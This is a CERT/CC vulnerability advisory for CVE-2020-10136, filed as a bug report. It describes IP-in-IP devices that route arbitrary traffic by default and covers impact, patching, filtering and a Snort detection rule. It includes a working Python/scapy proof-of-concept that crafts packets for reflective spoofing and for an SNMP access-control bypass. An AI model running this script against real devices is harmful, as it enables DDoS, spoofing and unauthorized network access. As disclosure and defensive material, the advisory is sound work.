Bug 1170918 (CVE-2020-10136)

via pre-notification list 

IP-in-IP protocol routes arbitrary traffic by default

Overview

An unauthenticated attacker can use the IP-in-IP protocol to route network traffic through a vulnerable device, which can lead to spoofing, access control bypasses, and other unexpected network behaviors. This can lead to information leaks (CWE-200) and/or access control bypasses (CWE-284).


Description

IP-in-IP encapsulation and tunneling (specified in RFC 2003 https://tools.ietf.org/html/rfc2003) allows for IP packets to be encapsulated in an outer IP packet and transmitted. This is very similar to IP GRE VPNs and IPSEC VPNs in tunnel mode, except IP-in-IP is unencrypted by its default specification. An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP packets from any source to any destination without explicit configuration for enabling IP-in-IP tunnels. When an IP-in-IP packet is received by a vulnerable device/endpoint, it unwraps the inner IP packet and forwards this packet through its default network route acting like a tunneled router.  This behavior is expected only when IP-in-IP tunneling is explicitly configured and allowed from specific sources and destinations. When a vulnerable device routes unidentified packets to another destination, spoofing of IP addresses is possible which can lead to reflective DDOS. This behavior can also lead to scenarios such as bypassing access lists, firewalls and other network controls that may be implemented on the target device’s environment. Because the forwarded network packet may not be inspected by vulnerable devices, there are possibly other unexpected behaviors that can be abused by an attacker on the target device or the target device's network environment.

Proof of Concept

The following code in Python3 with scapy demonstrates the issue.
#!/usr/bin/env python3
import sys
from scapy.all import *
if len(sys.argv) < 3:
  print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
  print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
  sys.exit(0);
## IP-in-IP forwarding device vulnerable to VU-636397
VULNERABLE_MACHINE_IP = sys.argv[1]
## VICTIM IP of the machine we want to send packet to
VICTIM_IP = sys.argv[2]

if len(sys.argv) == 5 and sys.argv[4] == "bypass":
  ## Address we want to send the return traffic back to
  DATA_COLLECT_IP = sys.argv[3]
  ## LAN bypass mode to jump into VICTIM_IP network
  ## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
  send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
    SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
else:
  ## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
  ## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
  send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
    Raw(load="I am Vulnerable\n"))
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
## tcpdump -i any -nvvv udp port 3363

The demonstration script can be used in two ways – spoof mode and bypass mode. Initial setup requires at least three devices for this testing. In the simple spoofing mode, attacker will send a IP-in-IP packet from their device to a vulnerable machine (VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim’s device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS capability to send unsolicited traffic to VICTIM_IP. Because this packet has valid source and destination, anti-spoofing measure such as BCP-38 will not block this crafted packet. The intended traffic can be routed through the VULNERABLE_IP to the VICTIM_IP device by an unauthenticated attacker.

In the bypass mode (using all 4 arguments for the script), the attacker will send a crafted IP-in-IP packet from the attacker’s device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The vulnerable device will receive and decapsulate the packet and forward the inner IP packet to the victim device (VICTIM_IP sys.argv[2]) machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The attacker can thus solicit information using the sample SNMP query to be sent to DATA_COLLECT_IP which he has access to.  In the provided example, device at the VICTIM_IP address is assumed to have SNMP enabled with the standard "public" community string for read-only access. SNMP is being demonstrated here, but this forwarding behavior can allow for many types of unexpected IP traffic to traverse using the vulnerable machine as a forwarding point for any nefarious communications as planned by the attacker.

Impact

An unauthenticated attacker may be able to route network traffic through a vulnerable device, which can lead to information leakage (CWE-200) and/or bypass of access-control (CWE-284).

Resolution

The CERT/CC recommends that you apply the latest patch provided by your vendor that addresses this issue. If a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature. Devices manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.

Workaround

An impacted customer can prevent IP-in-IP packets by filtering protocol 4 IP packets at the upstream router or another device to prevent this unexpected behavior by the target device. Note this filtering is for IP protocol header value of 4 and NOT IP protocol version of 4.

Detection Singature (IDS)

This Snort IDS rule looks for any IP-in-IP traffic, whether intentional or not. Further filtering can be applied to ignore sources and destinations that are allowed by your policy to route IP-in-IP traffic.
alert ip any any -> any any (msg:"IP-in-IP Tunneling VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; rev:1;)

Vendor Status

If your device or the networking software is vulnerable and a patch is available, please provide a vendor statement with any links to your advisory and detailed information of how the relevant updates may be obtained. We plan to include your statement (verbatim) and related links in our vulnerability note. If your device does not support IP-in-IP OR your device does not allow for the vulnerable behavior, let us know so we can mark your device as "Not Affected" in our advisory. We hope to publish this advisory around June 1 2020, so your timely input will help us in making our advisory pertinent with specific information for your software.

Acknowledgements

The CERT/CC would like to thanks Yannay Livneh <yannayl@gmail.com> for reporting this issue to us.

CVE

CVE-2020-10136 has been reserved for this vulnerability. This CVE ID represents the vulnerability in the under-specification of the IP-in-IP protocol. According to the CVE assignment rules, it may be appropriate for individual IP-in-IP implementations to issue additional CVE IDs.

Vijay Sarvepalli
Vulnerability Analysis Team
======================================================================
CERT Coordination Center
kb.cert.org / cert@cert.org
======================================================================